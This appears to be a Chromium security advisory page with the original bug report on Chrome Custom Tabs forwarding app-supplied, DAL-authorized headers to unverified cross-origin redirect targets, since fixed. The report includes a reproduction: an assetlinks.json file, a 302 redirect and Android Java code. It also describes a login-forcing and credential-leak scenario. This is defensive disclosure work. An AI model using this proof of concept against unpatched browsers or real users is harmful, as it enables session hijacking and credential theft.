Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds read in CustomTabs
DescriptionOut of bounds read in CustomTabs
ComponentCustomTabs
Sub-componentUI>Browser>Mobile>CustomTabs
Bug ClassOOB
Tracker552951369
Fix commit68360342b99f (chromium/src) +280/-22
CISA KEVNot listed
Creditedmute1008
Disclosed2026-10-20

Files Changed

  • chrome/browser/flags/android/chrome_feature_list.h
  • chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
  • chrome/android/javatests/src/org/chromium/chrome/browser/IntentHandlerNativeTest.java
  • content/browser/renderer_host/navigation_request.cc
  • chrome/browser/flags/android/java/src/org/chromium/chrome/browser/flags/ChromeFeatureList.java
  • content/browser/renderer_host/navigation_request.h
  • chrome/browser/flags/android/chrome_feature_list.cc
  • tools/metrics/histograms/metadata/navigation/histograms.xml
  • content/browser/renderer_host/navigation_controller_impl_unittest.cc

Original Bug Report

reported by [email protected]

Custom Tabs forwards DAL-authorized non-safelisted headers to unverified cross-origin redirect targets


Report description

Custom Tabs forwards DAL-authorized non-safelisted headers to unverified cross-origin redirect targets


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Chrome allows an Android app to attach non-CORS-safelisted HTTP headers to a Custom Tabs navigation only after Digital Asset Links verifies that the app may act as the launch origin. However, Chrome keeps those app-provided headers when that origin returns a cross-origin HTTP redirect. The redirect target has not been verified against the app.

For example:

Android app <-- DAL --> https://A.example
                           |
                           | 302 Location: https://B.example/
                           v
                       https://B.example

The app is authorized to attach headers to A, but Chrome sends the same headers to B together with any cookies Chrome holds for B.

IntentHandler.getExtraHeadersFromIntent() makes the decision to permit non-safelisted headers using only the Intent’s launch URL:

boolean shouldAllowNonSafelistedHeaders =
        CustomTabsConnection.getInstance().isFirstPartyOriginForIntent(intent, url);

After that check, IntentHandler.addReferrerAndHeaders() places the headers in LoadUrlParams:

String headers = getExtraHeadersFromIntent(intent, params.getUrl());
if (headers != null) params.setVerbatimHeaders(headers);

Chromium already supports removing these headers at the first cross-origin redirect through:

loadUrlParams.setRemoveExtraHeadersOnCrossOriginRedirect(true);

Android WebView enables this option when an app supplies additional headers, explicitly “to avoid data leakage.” The Custom Tabs navigation path does not enable it. Its default value is false, so the headers remain on the redirected request and in the resulting NavigationEntry. Reloading that entry can send them again.

This contradicts the security model documented for Custom Tabs extra headers. Non-safelisted headers are normally filtered because a malicious app could combine them with cookies stored by Chrome. DAL relaxes that restriction only after verifying that the Android app and Web origin belong to the same owner. A redirect target at another origin has no such relationship.

Use two independently served HTTPS origins, A and B.

On A, serve /.well-known/assetlinks.json for the test application’s package name and signing certificate with the following relation:

[{ 
  "relation": ["delegate_permission/common.use_as_origin"],
  "target": {
    "namespace": "android_app",
    "package_name": "dev.cct.headerredirect",
    "sha256_cert_fingerprints": ["TEST-APP-CERTIFICATE-SHA256"]
  }
}]

Make A’s launch endpoint return a cross-origin redirect:

HTTP/1.1 302 Found
Location: https://B.example/receive
Cache-Control: no-store

Make B’s /receive endpoint display or log the incoming request headers. To also demonstrate the ambient-cookie combination, first visit an endpoint on B that returns:

Set-Cookie: victim_session=test-cookie-8421; Secure; HttpOnly; SameSite=Lax

In the Android test application, validate A and launch the redirect endpoint with non-safelisted headers:

session.validateRelationship(
        CustomTabsService.RELATION_USE_AS_ORIGIN,
        Uri.parse("https://A.example/redirect"),
        null);

// Run after onRelationshipValidationResult reports true.
Bundle headers = new Bundle();
headers.putString("Authorization", "Bearer secret-marker");
headers.putString("X-CCT-Redirect-Probe", "attacker-controlled-value");

CustomTabsIntent cct = new CustomTabsIntent.Builder(session).build();
cct.intent.putExtra(Browser.EXTRA_HEADERS, headers);
cct.launchUrl(this, Uri.parse("https://A.example/redirect"));

B receives the app-provided non-safelisted headers even though B has no DAL relationship with the app. Chrome also attaches B’s ambient cookie:

GET /receive HTTP/1.1
Host: B.example
Cookie: victim_session=test-cookie-8421
Authorization: Bearer secret-marker
X-CCT-Redirect-Probe: attacker-controlled-value

I reproduced this end to end on an unmodified physical Android device. The DAL validation callback returned true for A, and both A and B logged the app-provided headers. After seeding B’s cookie, B logged the cookie and both non-safelisted headers on the same redirected request.

App-provided non-safelisted headers authorized for A must be removed before following a redirect to an origin that has not been verified against the app. Same-origin redirects may retain them. Once removed, they should not be restored on later redirects or reloads of the resulting entry.

Impact analysis

The issue creates two security consequences.

A malicious Android application can establish DAL with an origin it controls, attach an attacker-selected Authorization or custom header, and have that origin redirect to an unrelated site B. Chrome sends the header together with the victim’s B cookies without a CORS preflight or permission from B.

If B accepts an attacker-controlled bearer credential on a browser navigation and converts it into a browser session, the attacker can force the victim’s Chrome session into the attacker’s account. The victim may subsequently enter personal information, payment details, files, or messages into an account observable by the attacker. Other B implementations may assign security meaning to custom non-safelisted headers and process the request using the victim’s cookie-authenticated session.

This capability is not available to an ordinary Android HTTP client: the application may choose arbitrary headers, but cannot access Chrome’s cookies. A normal web page can navigate Chrome with B’s cookies, but cannot attach these non-safelisted headers without B approving a CORS preflight.

A legitimate application may attach an Authorization header or another secret intended only for its DAL-verified origin A. If an attacker can direct an A endpoint with an open redirect to an attacker-controlled B, Chrome forwards A’s secret header to B. The attacker’s server receives the credential directly in the incoming request.

The leak occurs within the initial browser-initiated navigation’s HTTP redirect chain. It does not require a no-delay redirect: the server may delay its 30x response. A link click or JavaScript navigation after A has committed starts a new navigation and does not inherit the header.


The cause

What version of Chrome have you found the security issue in?

[151.0.7922.171] + [stable]

No, it is not related to a crash.

Choose the type of vulnerability

Android issue

View on issue tracker